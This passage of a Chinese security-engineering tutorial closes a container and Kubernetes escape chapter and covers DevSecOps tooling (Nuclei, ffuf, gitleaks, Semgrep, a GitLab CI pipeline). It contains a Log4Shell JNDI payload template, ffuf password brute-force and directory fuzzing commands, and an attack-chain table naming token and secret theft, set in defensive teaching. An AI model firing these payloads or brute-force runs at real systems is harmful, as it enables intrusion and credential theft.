# ★ 里面【没有 shell、没有包管理器、没有 ls/cat/curl】
#   攻击者即使 RCE 了,也执行不了任何命令(没有 /bin/sh!)
# 结果:镜像 ~220MB,攻击面趋近于零

distroless 的实战价值(★ 面试加分): 大部分攻击拿到 RCE 后的第一步是下载木马、反弹 shell—— 这需要 curl/wget/bash。 distroless 镜像里这些全都没有, 所以即使 Runtime.exec() 能执行,攻击者也没有工具可用, 只能干瞪眼。

代价:排查问题时没法 kubectl exec 进去看(没有 shell)。 解决方案:用 ephemeral containers(临时调试容器):

kubectl debug -it mypod --image=busybox --target=app

8.5.7 供应链安全检查清单

cat > /tmp/verify_supply_chain.sh <<'SCRIPT'
#!/bin/bash
# 镜像供应链安全检查
IMAGE="${1:-nginx:latest}"
echo "=== 镜像供应链检查:$IMAGE ==="

echo ""
echo "--- [1] 漏洞扫描 ---"
trivy image --severity HIGH,CRITICAL --no-progress "$IMAGE" 2>/dev/null | tail -20

echo ""
echo "--- [2] 镜像来源 ---"
docker inspect "$IMAGE" --format '  作者/标签:{{.Config.Labels}}' 2>/dev/null
echo "  建议:只用官方镜像或自建 Harbor 的镜像,不用来路不明的第三方镜像"

echo ""
echo "--- [3] 运行用户 ---"
U=$(docker run --rm --entrypoint="" "$IMAGE" id -u 2>/dev/null)
[ "$U" = "0" ] && echo "  ❌ 以 root 运行(uid=0)" || echo "  ✅ 非 root 运行(uid=$U)"

echo ""
echo "--- [4] 是否有 shell ---"
docker run --rm --entrypoint="" "$IMAGE" which sh bash 2>/dev/null \
  && echo "  ⚠️  镜像内有 shell(攻击者可利用)" \
  || echo "  ✅ 无 shell(distroless 类镜像,攻击面小)"

echo ""
echo "--- [5] 敏感文件检查 ---"
docker run --rm --entrypoint="" "$IMAGE" sh -c '
  for f in /root/.ssh/id_rsa /etc/shadow /.dockerenv /var/run/docker.sock; do
    [ -e "$f" ] && echo "  ⚠️  发现敏感文件:$f"
  done
  echo "  检查环境变量中的密钥:"
  env | grep -iE "password|secret|token|key" | sed "s/=.*/=***/" | sed "s/^/    /"
' 2>/dev/null

echo ""
echo "--- [6] 生成 SBOM ---"
echo "  syft $IMAGE -o cyclonedx-json > sbom.json"

echo ""
echo "--- [7] 签名状态 ---"
echo "  cosign verify --key cosign.pub $IMAGE"
SCRIPT
chmod +x /tmp/verify_supply_chain.sh

8.6 第八章总结

8.6.1 速查表

想查什么 看哪节
4C 安全模型 8.0
容器逃逸三种手法 8.1
特权容器逃逸(mount 宿主机磁盘) 8.1.1
docker.sock 逃逸 8.1.2
内核漏洞逃逸(Dirty Pipe)与防御 8.1.3
kind 搭集群 8.2
SA Token 接管集群完整链路 8.3
SA Token 七道防线 8.3.7
etcd 未授权 8.4.1
kubelet 10250 未授权 8.4.2
镜像签名(cosign) 8.5.4
distroless 镜像 8.5.6

8.6.2 本章必背 8 句话

  1. 容器的四大基石是 Namespace + Cgroup + Capabilities + seccomp,逃逸就是绕过它们
  2. --privileged 的 CapEff 是 000001ffffffffff(全 f),看到全 f 就知道是特权容器
  3. 挂载 docker.sock = 把宿主机 root 交出去(能启动挂载宿主机根目录的新容器)
  4. 容器共享宿主机内核,所以内核漏洞(Dirty Pipe)能直接逃逸 → 防御靠 gVisor/Kata
  5. SA Token 默认挂载在 /var/run/secrets/kubernetes.io/serviceaccount/token,一行 automountServiceAccountToken: false 防住 90% 利用
  6. Secret 是 base64 不是加密!用 etcdctl 或 RBAC 权限都能读到明文
  7. etcd 和 kubelet 10250 是集群的两扇后门,etcd 要 TLS 客户端证书,kubelet 要关匿名认证 + Webhook 授权
  8. distroless 镜像里没有 shell,RCE 了攻击者也无工具可用

8.6.3 完整攻击链与防御对照表(★ 面试画这张图)

攻击阶段 攻击者做什么 防御措施 优先级
① 进入容器 利用应用漏洞(Log4Shell 等) 依赖扫描、WAF、RASP ★★★
② 发现是容器 env | grep KUBERNETES — —
③ 偷 SA Token cat /var/run/secrets/... ★ automountServiceAccountToken: false ★★★★★
④ 探测权限 SelfSubjectRulesReview ★ RBAC 最小化(Role 不用 ClusterRole) ★★★★★
⑤ 偷 Secret GET /api/v1/secrets ★ External Secrets + Vault;Secret 加密 ★★★★★
⑥ 横向到 API curl apiserver ★ NetworkPolicy 默认拒绝 ★★★★
⑦ 创建后门 伪装的 Pod/CronJob ★ PSA restricted(禁特权 Pod)+ 审计日志 ★★★★★
⑧ 逃逸到 Node exec 进宿主机挂载的 Pod ★ 禁 hostPath、禁 privileged ★★★★
⑨ 接管集群 — 分层防御,每层都设卡 —
⑩ 上云 用 AK/SK ★ 用实例角色代替 AK;AK 加 IP 限制 ★★★★★

8.6.4 实验清单

实验 耗时 难度 面试价值
特权容器逃逸(mount + chroot) 25 分钟 ★★ ★★★★★
docker.sock 逃逸 25 分钟 ★★ ★★★★★
kind 搭集群 20 分钟 ★ ★★★
SA Token 接管集群(完整链) 60 分钟 ★★★★ ★★★★★
偷 Secret 拿 AK 20 分钟 ★★ ★★★★★
创建后门 + 用 PSA 拦截 30 分钟 ★★★ ★★★★
etcd 未授权读取 20 分钟 ★★ ★★★★
kubelet 10250 exec 20 分钟 ★★ ★★★★
cosign 镜像签名 25 分钟 ★★ ★★★
distroless 镜像对比 15 分钟 ★ ★★★

时间有限,做这两个:SA Token 接管集群(本章精华,能讲 5 分钟)+ 特权容器逃逸(最直观,能讲 3 分钟)。


第九章:自动化扫描与 DevSecOps 落地

前面八章都是“手工做一次”,这一章是“让它自动跑起来”。

为什么这一章最重要: 手工复现能让你理解原理,但真正体现工程能力的是—— 你怎么保证这些问题不会再出现?

面试官问“你怎么保证上线后不出安全问题”, 你答“我们会仔细检查”是 0 分, 答“我们在 CI 里做了五道卡点,高危漏洞构建直接失败“是 90 分。

9.0 安全左移:把检查放在最前面

传统模式(安全在最后):
  开发 → 测试 → 部署 → 上线 → 安全扫描 → 发现漏洞 → 返工(★ 成本最高)
                                              ↑ 这时候改代码,牵一发动全身

DevSecOps(安全左移):
  写代码 → 【IDE 提示】→ 提交 → 【pre-commit 扫描】
       → 【CI 流水线扫描】→ 【镜像扫描】→ 【部署前策略检查】→ 上线
          ★ 每层都拦一次,越早发现问题成本越低

成本对比(行业公认数据):

发现阶段 修复成本
编码时(IDE 插件提示) 1x
提交时(pre-commit / CI) 5x
测试阶段 10x
上线后(生产环境) 30x
出事后(数据泄露) 100x+(还有罚款和声誉损失)

9.0.1 本章工具全景

工具 干什么 类比
Nuclei 用模板批量扫漏洞(SQLi、XSS、CVE、未授权) 拿着一张“常见病症清单”给病人做体检
ffuf FUZZ:爆破目录、参数、子域名、API 端点 用一万把钥匙挨个试,看哪把能开锁
gitleaks 扫 Git 历史里有没有泄露的密钥 检查你家的垃圾桶里有没有被扔掉的银行卡密码
trivy 扫镜像和依赖的 CVE 检查食材有没有过期
Semgrep 扫代码里的危险写法(SQL 拼接、eval) 检查建筑图纸里有没有违规设计
OWASP ZAP 自动化 Web 漏洞扫描(DAST) 派一群机器人去模拟攻击你的网站

9.1 Nuclei:用模板批量扫漏洞

Nuclei 是什么:ProjectDiscovery 开源的基于模板的漏洞扫描器。 社区维护了 8000+ 模板(覆盖 CVE、未授权、信息泄露、错误配置), 一条命令就能把你的目标“体检”一遍。

9.1.1 安装与第一次扫描

# 安装(Go 环境)
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest

# 或者下载二进制
curl -LO https://github.com/projectdiscovery/nuclei/releases/download/v3.2.2/nuclei_3.2.2_linux_amd64.zip
unzip nuclei_3.2.2_linux_amd64.zip && sudo mv nuclei /usr/local/bin/

# 确认
nuclei -version
# 预期:Nuclei Engine Version: v3.2.2

# 更新模板库(★ 第一次用必须先做,社区模板每天都在增加)
nuclei -update-templates
# 预期:
# [INF] Downloaded 8123 templates

第一次扫描(对自己的靶场):

# 扫一个目标(用全部模板会很慢,先按严重等级过滤)
nuclei -u http://127.0.0.1:8080 \
  -severity critical,high \
  -o /tmp/nuclei_result.txt

预期输出:

                     __     _
   ____  __  _______/ /__  (_)
  / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.2.2

                projectdiscovery.io

[INF] Current nuclei version: v3.2.2 (latest)
[INF] Templates loaded for current scan: 2145
[INF] Targets loaded for current scan: 1

[2026-09-04 05:10:22] [http-missing-security-headers:strict-transport-security] [info] http://127.0.0.1:8080/
[2026-09-04 05:10:23] [CVE-2021-44228] [critical] http://127.0.0.1:8983/solr/admin/cores
[2026-09-04 05:10:25] [actuator-endpoints] [medium] http://127.0.0.1:8080/actuator
[2026-09-04 05:10:27] [springboot-actuator-unauth] [high] http://127.0.0.1:8080/actuator/env

9.1.2 常用参数速查

# 【基础】
nuclei -u http://target                      # 扫单个目标
nuclei -l targets.txt                        # 扫一批目标(每行一个 URL)
nuclei -u http://target -t cves/             # 只扫 CVE 模板
nuclei -u http://target -t exposures/        # 只扫信息泄露

# 【过滤】
nuclei -u http://target -severity critical          # 只看严重
nuclei -u http://target -severity critical,high     # 严重 + 高危
nuclei -u http://target -exclude-severity info      # 排除 info 级别(噪音大)
nuclei -u http://target -tags cve,rce               # 按标签过滤

# 【输出】
nuclei -u http://target -o result.txt               # 文本输出
nuclei -u http://target -o result.json -je          # JSON 输出(-je = JSON export)
nuclei -u http://target -o result.md -me /tmp/      # Markdown 报告

# 【性能】
nuclei -u http://target -rate-limit 10              # 限速(每秒 10 个请求,避免打挂目标)
nuclei -u http://target -c 50                       # 并发 50
nuclei -u http://target -timeout 10                 # 超时 10 秒

# 【调试】
nuclei -u http://target -t cves/2021/CVE-2021-44228.yaml -debug   # 看发了什么请求
nuclei -u http://target -proxy http://127.0.0.1:8081              # 走 Burp 代理(★ 看原理用)

9.1.3 看懂一个 Nuclei 模板(★ 理解原理)

模板就是个 YAML,描述了“发什么请求、怎么判断存在漏洞“。

# nuclei-templates/http/cves/2021/CVE-2021-44228.yaml(简化版)
id: CVE-2021-44228

info:
  name: Apache Log4j2 RCE
  author: pdteam
  severity: critical
  description: Log4j2 JNDI 注入导致 RCE
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-44228
  tags: cve,cve2021,log4j,rce,oast

# ★ 核心 1:要用 OOB(带外)检测,声明交互协议
requests:
  - raw:
      # 在多个位置插入 payload(因为不知道哪里会被写进日志)
      - |
        GET /?x=${jndi:ldap://{{interactsh-url}}/a} HTTP/1.1
        Host: {{Hostname}}
        User-Agent: ${jndi:ldap://{{interactsh-url}}/a}
        Referer: ${jndi:ldap://{{interactsh-url}}/a}
        X-Forwarded-For: ${jndi:ldap://{{interactsh-url}}/a}

    # ★ 核心 2:怎么判断漏洞存在
    matchers-condition: or
    matchers:
      - type: word
        part: interactsh_protocol        # 是否收到了 DNS/HTTP 交互
        words:
          - "dns"
          - "http"

关键字段解释:

字段 含义
{{interactsh-url}} Nuclei 自带的带外检测平台(类似 dnslog)。如果服务器去解析了这个域名,说明漏洞触发了
matchers 判断条件。可以是“响应包含某字符串”(word)、“状态码等于 X”(status)、“收到 OOB 交互”(interactsh_protocol)
part 检查响应的哪部分:body、header、all、interactsh_protocol
matchers-condition 多个 matcher 之间是 and 还是 or
raw 原始 HTTP 请求(可以精确控制每一个字符)

9.1.4 自己写一个模板(检测自家系统的问题)

场景:你们公司有个内部接口 /api/internal/config,本该只有内网能访问,但被误暴露了。 写一个模板,每次发版后自动检查。

# internal-endpoint-exposed.yaml
id: internal-endpoint-exposed

info:
  name: 内部配置接口被暴露
  author: zhuhonghui
  severity: high
  description: /api/internal/config 应该只在内网可访问
  tags: internal,exposure,config

requests:
  - method: GET
    path:
      - "{{BaseURL}}/api/internal/config"

    # ★ 匹配条件:返回 200 且响应里有敏感关键词
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        part: body
        words:
          - "datasource"
          - "password"
          - "redis"
        condition: or
# 用自己写的模板扫
nuclei -u http://target -t internal-endpoint-exposed.yaml

# 预期(如果暴露了):
# [internal-endpoint-exposed] [high] http://target/api/internal/config

# 批量扫多个环境
cat > envs.txt <<'EOF'
http://dev.example.com
http://test.example.com
http://prod.example.com
EOF
nuclei -l envs.txt -t internal-endpoint-exposed.yaml -o exposure_check.txt

9.1.5 把 Nuclei 接进 CI

# .gitlab-ci.yml
nuclei-scan:
  stage: security
  image: projectdiscovery/nuclei:latest
  script:
    - nuclei -update-templates
    # ★ 对测试环境扫描(绝不扫生产!流量可能影响业务)
    - nuclei -u https://test.example.com
        -severity critical,high
        -exclude-templates-file .nuclei-ignore.txt
        -o nuclei-report.md -me /tmp/report
        -rate-limit 20
  artifacts:
    paths:
      - nuclei-report.md
    expire_in: 30 days
  allow_failure: true      # ★ 建议先设为 true,看一段时间再改 false
  rules:
    - if: '$CI_PIPELINE_SOURCE == "schedule"'    # 每周定时跑一次

★ 重要建议:Nuclei 扫测试环境,不要扫生产。 原因:① 大量请求可能影响业务;② 某些 payload 会真的写入数据(如存储型 XSS); ③ 可能触发告警把安全团队吓一跳。

正确的做法:

  • 生产环境:只做被动扫描(看配置、看响应头,不发攻击 payload)
  • 预发/测试环境:做主动扫描
  • 生产发版后:只跑“只读类”的模板(如检查安全响应头、检查端点是否暴露)

9.2 ffuf:FUZZ 爆破

FUZZ(模糊测试)是什么: 用大量可能的输入去试,看哪个能触发异常。 最常见的用法是爆破目录和文件名——猜服务器上有哪些文件。

9.2.1 安装与基本用法

# 安装
go install github.com/ffuf/ffuf/v2@latest
# 或
curl -LO https://github.com/ffuf/ffuf/releases/download/v2.1.0/ffuf_2.1.0_linux_amd64.tar.gz
tar -xzf ffuf_2.1.0_linux_amd64.tar.gz && sudo mv ffuf /usr/local/bin/

# 第一个命令:爆破目录
ffuf -u http://127.0.0.1:8080/FUZZ \
     -w /usr/share/wordlists/dirb/common.txt

预期输出:

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/  v2.1.0

 :: Method           : GET
 :: URL              : http://127.0.0.1:8080/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/common.txt
 :: Follow redirects : false
 :: Timeout          : 10

actuator                [Status: 200, Size: 1234, Words: 45, Lines: 12]
admin                   [Status: 200, Size: 567, Words: 23, Lines: 8]
api                     [Status: 200, Size: 890, Words: 34, Lines: 10]
druid                   [Status: 200, Size: 2345, Words: 78, Lines: 20]   ← ★ 发现 Druid!
swagger-ui.html         [Status: 200, Size: 1024, Words: 40, Lines: 15]   ← ★ 发现 Swagger!
...
:: Progress: [4614/4614] :: 150 req/sec

看到 druid 和 swagger-ui.html 就知道有问题了—— 这就是 FUZZ 的价值:发现那些“本该藏起来但忘了藏”的东西。

9.2.2 常用场景

# 【场景 1】爆破目录(带扩展名)
ffuf -u http://target/FUZZ -w wordlist.txt \
     -e .php,.bak,.old,.zip,.tar.gz,.sql     # 自动加扩展名

# 【场景 2】过滤噪音(★ 必须会,不然全是 404)
ffuf -u http://target/FUZZ -w wordlist.txt \
     -fc 404,403,400                          # -fc = filter code,过滤状态码
     -fs 0                                    # -fs = filter size,过滤空响应
     -mc 200,301,302,403                      # -mc = match code,只显示这些

# 【场景 3】爆破子域名
ffuf -u https://FUZZ.example.com \
     -w subdomains.txt \
     -H "Host: FUZZ.example.com" \
     -fc 404

# 【场景 4】爆破参数(找隐藏的 GET 参数)
ffuf -u "http://target/api/user?FUZZ=1" \
     -w params.txt \
     -fs 0

# 【场景 5】爆破 POST 参数的值
ffuf -u http://target/login \
     -X POST -d "username=admin&password=FUZZ" \
     -w passwords.txt -fc 401

# 【场景 6】★ 爆破 API 端点(微服务场景特别有用)
ffuf -u http://target/api/FUZZ -w api-endpoints.txt -fc 404

# 【场景 7】带请求头爆破(测 User-Agent 注入 / 找隐藏功能)
ffuf -u http://target -X POST -d '{"a":1}' \
     -H "Content-Type: application/json" \
     -H "X-Custom: FUZZ" -w headers.txt

# 【场景 8】递归爆破(找到目录后继续往里找)
ffuf -u http://target/FUZZ -w wordlist.txt -recursion -recursion-depth 2

9.2.3 自建一个“Java 应用专属”字典

(通用字典对 Java 应用命中率低,自己整理一个命中率飙升)

cat > java-endpoints.txt <<'EOF'
actuator
actuator/health
actuator/env
actuator/beans
actuator/heapdump
actuator/threaddump
actuator/mappings
actuator/configprops
actuator/gateway/routes
actuator/loggers
manage
manage/health
manage/env
monitor
admin
admin/login
druid
druid/index.html
druid/sql.json
druid/session.json
h2-console
h2-console/login.do
swagger-ui.html
swagger-ui/index.html
swagger-resources
v2/api-docs
v3/api-docs
doc.html
webjars
knife4j
api
api/v1
api-docs
nacos
metrics
prometheus
info
health
status
debug
trace
dump
env
config
console
jolokia
EOF

# 用它扫自家应用
ffuf -u http://127.0.0.1:8888/FUZZ -w java-endpoints.txt -fc 404

9.3 gitleaks:别把密钥提交进 Git

为什么这个必须做: 据 GitGuardian 的统计,每 1000 次代码提交里平均有 5 个密钥泄露。 而且——Git 的历史是永久的,git rm 之后密钥依然在历史 commit 里。

真实案例:某公司把阿里云 AK 提交到了 GitHub 公开仓库, 3 分钟后就被自动化扫描器发现, 攻击者用它开了 200 台 GPU 矿机,一晚上账单 50 万元。

9.3.1 安装与扫描

# 安装
# macOS: brew install gitleaks
# Linux:
curl -LO https://github.com/gitleaks/gitleaks/releases/download/v8.18.4/gitleaks_8.18.4_linux_x64.tar.gz
tar -xzf gitleaks_8.18.4_linux_x64.tar.gz && sudo mv gitleaks /usr/local/bin/

# ① 扫描当前仓库(只看工作区)
gitleaks detect --source . --verbose

# ② ★ 扫描完整 Git 历史(最重要,能发现历史上提交过的密钥)
gitleaks detect --source . --log-opts="--all" --verbose

预期输出(如果发现泄露):

Finding:     AKIAZXCVBNMASDFGHJKL
Secret:      AKIAZXCVBNMASDFGHJKL
RuleID:      aws-access-token
Entropy:     3.684
File:        src/main/resources/application-prod.yml
Line:        15
Commit:      a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6q7r8s9t0
Author:      zhangsan
Email:       zhangsan@example.com
Date:        2026-08-15T10:30:22Z
Fingerprint: a1b2c3d4e5f6:src/main/resources/application-prod.yml:aws-access-token:15

Finding:     password = "Prod@Db#2026!Secure"
Secret:      Prod@Db#2026!Secure
RuleID:      generic-api-key
File:        src/main/resources/application-prod.yml
Line:        23
Commit:      a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6q7r8s9t0

11:45AM INF scan completed in 1.2s
11:45AM WRN leaks found: 2

9.3.2 装 pre-commit 钩子(★ 从源头堵住)

# 安装 pre-commit 框架
pip install pre-commit

# 在项目根目录创建 .pre-commit-config.yaml
cat > .pre-commit-config.yaml <<'EOF'
repos:
  - repo: https://github.com/gitleaks/gitleaks
    rev: v8.18.4
    hooks:
      - id: gitleaks

  # 顺便加上其他检查
  - repo: https://github.com/pre-commit/pre-commit-hooks
    rev: v4.5.0
    hooks:
      - id: trailing-whitespace        # 去行尾空格
      - id: end-of-file-fixer          # 文件末尾换行
      - id: check-yaml                 # 检查 YAML 语法
      - id: check-added-large-files    # ★ 防止提交大文件
        args: ['--maxkb=1024']
      - id: detect-private-key         # ★ 检测私钥文件
EOF

# 安装钩子
pre-commit install
# 预期:pre-commit installed at .git/hooks/pre-commit

# 测试(现在尝试提交一个含密钥的文件会被拦住)
git add . && git commit -m "test"
# 预期(如果含密钥):
# Detect hardcoded secrets................................................Failed
# - hook id: gitleaks
# - exit code: 1
#
# Finding:     ...
# ★ 提交被拦住了!

9.3.3 误报处理(gitleaks 的噪音管理)

# .gitleaks.toml(放在仓库根目录)
[extend]
useDefault = true        # 用默认规则

# 【方式 1】允许整个文件
[[allowlist]]
paths = [
  '''src/test/resources/.*''',        # 测试资源文件不算
  '''.*\.md''',                       # 文档里的示例密钥不算
]

# 【方式 2】允许特定的正则
[[allowlist]]
regexes = [
  '''EXAMPLE_.*''',                   # 以 EXAMPLE_ 开头的常量
  '''your-.*-here''',                 # 占位符
  '''\$\{[A-Z_]+\}''',                # 环境变量引用 ${DB_PASSWORD}
]

# 【方式 3】★ 更推荐:用 gitleaks:allow 注解(精确到行)
# 在代码里这么写:
#   testToken = "abc123"  // gitleaks:allow

★ 安全建议:不要把真实的测试密钥也允许掉。 测试环境的密钥也应该用专门的测试账号, 而且权限要限制(比如测试用的 AK 只能访问测试 bucket)。

9.3.4 已经泄露了怎么办?(应急流程)

┌──────────────────────────────────────────────────────────┐
│  ★ 第一步:【立刻吊销】密钥(不是删除代码!)              │
│     因为 Git 历史是永久的,删代码没用,                    │
│     自动化扫描器可能已经把它存进数据库了                    │
├──────────────────────────────────────────────────────────┤
│  第二步:检查这个密钥被用在了哪里(看云厂商的访问日志)     │
│     - 有没有异常的 IP 访问                                 │
│     - 有没有创建新的子账号 / 实例                          │
├──────────────────────────────────────────────────────────┤
│  第三步:清理 Git 历史(可选,治标)                        │
│     用 BFG Repo-Cleaner 或 git filter-repo                │
│     ⚠️ 注意:这会改写历史,需要所有人重新 clone            │
├──────────────────────────────────────────────────────────┤
│  第四步:加 pre-commit 钩子 + CI 卡点(治本)              │
├──────────────────────────────────────────────────────────┤
│  第五步:复盘,为什么会发生(是缺规范?缺工具?)           │
└──────────────────────────────────────────────────────────┘

清理 Git 历史实操:

# 方案 A:用 BFG(简单,推荐)
java -jar bfg.jar --replace-text passwords.txt my-repo.git
cd my-repo.git
git reflog expire --expire=now --all && git gc --prune=now --aggressive
git push --force

# passwords.txt 内容(每行一个要替换的密钥):
# AKIAIOSFODNN7EXAMPLE===>***REMOVED***
# Prod@Db#2026!Secure===>***REMOVED***

# 方案 B:用 git filter-repo(Git 官方推荐,BFG 的现代替代)
pip install git-filter-repo
git filter-repo --replace-text passwords.txt

# ⚠️ 强制 push 前一定要通知团队!
git push --force-with-lease      # 比 --force 安全一点

9.4 Semgrep:扫代码里的危险写法

Semgrep 是什么:一个**静态代码分析(SAST)**工具, 用“代码模式匹配“找出危险写法。 比正则强(它理解语法树),比完整的数据流分析轻量(快)。

9.4.1 安装与基础扫描

# 安装
pip install semgrep

# 用社区规则库扫描(有几千条规则,覆盖各种语言)
semgrep --config=auto .

# 只扫安全相关规则
semgrep --config=p/security-audit .
semgrep --config=p/java .
semgrep --config=p/springboot .

预期输出:

┌─────────────────┐
│ 2 Code Findings │
└─────────────────┘

src/main/java/com/example/UserController.java
❯❯ sql-injection
    使用字符串拼接构造 SQL 查询,存在 SQL 注入风险

     23┆ String sql = "SELECT * FROM users WHERE name = '" + name + "'";
      ⋮┆
     25┆ return jdbcTemplate.query(sql, rowMapper);

src/main/java/com/example/FileController.java
❯❯ path-traversal
    用户输入未经验证直接用于文件路径

     45┆ File f = new File(UPLOAD_DIR + filename);

9.4.2 自己写规则(★ 定制你们团队的规范)

# .semgrep/java-custom.yml
rules:
  # 【规则 1】禁止用 Runtime.exec 执行拼接的命令
  - id: java-runtime-exec-concat
    languages: [java]
    message: >
      禁止用字符串拼接构造 Runtime.exec 的命令(命令注入风险)。
      请改用 ProcessBuilder 并传参数数组。
    severity: ERROR
    pattern-either:
      - pattern: Runtime.getRuntime().exec($X + ...)
      - pattern: |
          $CMD = ... + $INPUT;
          ...
          Runtime.getRuntime().exec($CMD);
    metadata:
      category: security
      cwe: CWE-78

  # 【规则 2】禁止用 StandardEvaluationContext 处理用户输入
  - id: java-spel-dangerous-context
    languages: [java]
    message: >
      StandardEvaluationContext 允许执行任意代码(SpEL 注入)。
      处理用户输入时必须用 SimpleEvaluationContext。
    severity: ERROR
    pattern: new StandardEvaluationContext(...)
    metadata:
      category: security
      cwe: CWE-94

  # 【规则 3】MyBatis 禁止用 ${}(要用户 #{})
  - id: mybatis-sql-injection
    languages: [java]
    message: >
      MyBatis 的 ${} 是字符串替换,存在 SQL 注入。
      请改用 #{} 预编译占位符。
    severity: ERROR
    patterns:
      - pattern-regex: '@Select\("[^"]*\$\{[^}]*\}[^"]*"\)'
    metadata:
      category: security

  # 【规则 4】★ 禁止硬编码密钥(团队规范)
  - id: java-hardcoded-secret
    languages: [java]
    message: >
      检测到硬编码的密钥/密码。请改为从配置中心或环境变量注入。
    severity: ERROR
    pattern-regex: '(?i)(password|secret|api[_-]?key|access[_-]?key)\s*=\s*"[^"${}]{8,}"'
    metadata:
      category: security
      cwe: CWE-798

  # 【规则 5】★ 禁止在日志里打印敏感字段
  - id: java-log-sensitive
    languages: [java]
    message: >
      日志中可能打印了敏感信息(密码/Token)。请使用脱敏或移除。
    severity: WARNING
    pattern-regex: 'log\.(info|debug|error|warn)\(.*(?i)(password|passwd|token|secret).*\)'
    metadata:
      category: security
# 用自定义规则扫
semgrep --config=.semgrep/java-custom.yml src/

# 输出成 SARIF(可以接入 GitHub/GitLab 的代码扫描面板)
semgrep --config=.semgrep/ --sarif --output results.sarif .

9.4.3 和其他 SAST 工具对比

工具 特点 适合
Semgrep 快(秒级)、规则好写、可定制 ★ 团队自建规范,CI 卡点
SonarQube 功能全(代码质量 + 安全),有服务端 企业级,需要有人维护
SpotBugs + FindSecBugs 专门针对 Java 字节码 Java 项目深度分析
CodeQL 数据流分析强(能追踪跨函数的污染) 找复杂漏洞,但慢、规则难写
Checkmarx / Fortify 商业工具,报告漂亮 有预算、有合规要求

我的建议:Semgrep + SonarQube 组合。 Semgrep 跑在 CI 里(快,能卡点),SonarQube 做日常质量看板。


9.5 完整 CI/CD 安全流水线(★ 本章的交付物)

把前面所有工具串起来,形成一条“五道卡点“的流水线。

# .gitlab-ci.yml(完整版,可以直接改改就用)
stages:
  - secret-scan      # 卡点 1:密钥扫描
  - sast             # 卡点 2:代码扫描
  - build
  - sca              # 卡点 3:依赖扫描
  - image-scan       # 卡点 4:镜像扫描
  - dast             # 卡点 5:动态扫描
  - deploy

variables:
  IMAGE: $CI_REGISTRY_IMAGE:$CI_COMMIT_SHORT_SHA

# ============ 卡点 1:密钥泄露扫描(最快,最便宜)============
secret-scan:
  stage: secret-scan
  image: zricethezav/gitleaks:latest
  script:
    - gitleaks detect --source . --log-opts="--all" --report-format json --report-path gitleaks.json
  artifacts:
    paths: [gitleaks.json]
    when: always
  allow_failure: false      # ★ 发现密钥直接失败

# ============ 卡点 2:静态代码扫描 ============
sast:
  stage: sast
  image: returntocorp/semgrep:latest
  script:
    # 社区规则 + 团队自定义规则
    - semgrep --config=p/security-audit --config=.semgrep/
        --sarif --output semgrep.sarif
        --error                    # ★ 发现 ERROR 级别就退出码非 0
  artifacts:
    reports:
      sast: semgrep.sarif          # ★ 接入 GitLab 的安全面板
  allow_failure: false

# ============ 构建 ============
build:
  stage: build
  image: maven:3.9-eclipse-temurin-17
  script:
    - mvn clean package -DskipTests
    - docker build -t $IMAGE .
    - docker push $IMAGE
  artifacts:
    paths: [target/*.jar]

# ============ 卡点 3:依赖漏洞扫描(SCA)============
sca:
  stage: sca
  image: aquasec/trivy:latest
  script:
    # 扫项目依赖
    - trivy fs --severity CRITICAL,HIGH --exit-code 1 --no-progress .
    # ★ 生成 SBOM(应急时能救命)
    - trivy fs --format cyclonedx --output sbom.json .
  artifacts:
    paths: [sbom.json]
    expire_in: 1 year
  allow_failure: false      # ★ 高危依赖直接失败

# ============ 卡点 4:镜像漏洞扫描 ============
image-scan:
  stage: image-scan
  image: aquasec/trivy:latest
  script:
    - trivy image --severity CRITICAL,HIGH --exit-code 1 --ignore-unfixed $IMAGE
    # ★ 顺便生成镜像 SBOM
    - trivy image --format cyclonedx --output image-sbom.json $IMAGE
  artifacts:
    paths: [image-sbom.json]
  allow_failure: false

# ============ 卡点 5:动态扫描(DAST)============
dast:
  stage: dast
  image: projectdiscovery/nuclei:latest
  script:
    - nuclei -update-templates
    # ★ 只对测试环境做主动扫描
    - nuclei -u https://test.example.com
        -severity critical,high
        -rate-limit 20
        -o nuclei-report.md -me /tmp/report
  artifacts:
    paths: [nuclei-report.md]
  allow_failure: true       # ★ DAST 误报较多,先设为 true,稳定后改 false
  rules:
    - if: '$CI_COMMIT_BRANCH == "main"'    # 只在主干跑

# ============ 部署 ============
deploy:
  stage: deploy
  script:
    # ★ 部署前检查镜像签名
    - cosign verify --key cosign.pub $IMAGE
    - kubectl set image deployment/app app=$IMAGE
  environment:
    name: production
  when: manual              # ★ 生产部署手动确认
  needs: [secret-scan, sast, sca, image-scan]

9.5.1 落地路线图(★ 别一次性全上,会失败)

第 1 周:只上【卡点 1:gitleaks】
   - 改动最小,几乎零误报,团队接受度最高
   - 目标:让所有人装上 pre-commit 钩子

第 2~3 周:上【卡点 3:trivy 依赖扫描】
   - 先设为 allow_failure: true,跑两周看有多少误报和存量问题
   - 同时整改存量(先修 CRITICAL,再修 HIGH)
   - 目标:存量清零后改为 allow_failure: false

第 4~6 周:上【卡点 2:Semgrep】
   - 先只开 ERROR 级别的规则,WARNING 只报告不卡
   - 根据团队反馈调整自定义规则
   - 目标:把团队最常犯的错误写成规则(如 ${} 拼接、日志打密码)

第 7~8 周:上【卡点 4:trivy 镜像扫描】
   - 顺便推动基础镜像升级(alpine / distroless)

第 9 周以后:上【卡点 5:DAST】
   - 只对测试环境,allow_failure: true
   - 观察稳定后再收紧

★ 血泪教训:不要一上来就把所有卡点设成 allow_failure: false。

我见过太多团队这么干,结果: ① 第一次跑出 300 个漏洞,开发直接懵了 ② 为了赶进度,团队集体要求“先关掉,后面再修” ③ 然后就再也没有“后面”了

正确的做法是“温水煮青蛙”: 先只报告不卡点 → 整改存量 → 再开启卡点 → 只卡新增(存量加白名单并设过期时间)。


9.6 一键体检脚本(把前面所有检查串起来)

#!/bin/bash
# security_healthcheck.sh —— 对一套环境做全面安全体检
